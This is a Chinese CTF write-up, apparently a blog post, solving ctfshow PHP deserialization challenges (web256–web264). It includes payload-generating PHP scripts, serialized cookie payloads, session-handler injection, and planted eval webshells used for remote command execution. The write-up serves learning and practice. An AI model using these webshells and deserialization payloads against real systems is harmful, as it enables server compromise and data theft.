第九周靶场及心得

首先紧接着上周把没有写完的部分写掉

web256

在上题的基础上需要$username不等于$password,生成payload的脚本如下:

<?php 
class ctfShowUser{
   public $username;
   public $isVip;
  public function __construct(){
   $this->isVip=true;
    $this->username='aaa';
 }
}
$a=new ctfShowUser();
echo urlencode(serialize($a));

payload:

在GET处

?username=aaa&password=xxxxxx

在cookie处

user=O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web261

tip:如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

所以直接不用理__wakeup(),在来个弱比较877==0x36d就好了。这里不知道为什么,不对反序列化后的结果url编码生成不了。

 
<?php
class ctfshowvip{
    public $username;
    public $password;
 
    public function __construct(){
        $this->username='877.php';
        $this->password='<?php eval($_GET[1]);?>';
    }
}
$a=new ctfshowvip();
echo urlencode(serialize($a));

 访问877.php,然后?1=system('tac /f*');

web263

难点:一开始什么也没有,看到框就想注入(bushi)。看看有什么特殊的文件,发现了www.zip,下载下来进行一个审计。

ini_set('session.serialize_handler', 'php');

//下面这一段更是可控
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

接着找一找有没有可控的session,在index.php下发现:

	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);

 又发现check.php调用了inc.php

require_once 'inc/inc.php';

接着我们就有了思路,构造一段payload,然后将这个payload作为cookie传入到session,再访问check.php时自动将session解码反序列化,成功赋值,最后访问生成的文件,执行rce。

<?php
class User{
    public $username;
    public $password;
    function __construct(){
        $this->username = "10.php";
        $this->password = '<?php eval($_POST[0]);?>';
    }
}
echo base64_encode("|".serialize(new User()));

 

web264

具体的可以参考下web262,但这个题略难一些,用的是$_SESSION,原来是$_COOKIE,所以我们不能直接修改cookie了。
直接把原来262的值传过去就可以了

f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22;s:5:%22token%22;s:5:%22admin%22;}
if(isset($_COOKIE['msg'])){
xxxx
    }

所以还得随便传个cookie msg=1 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值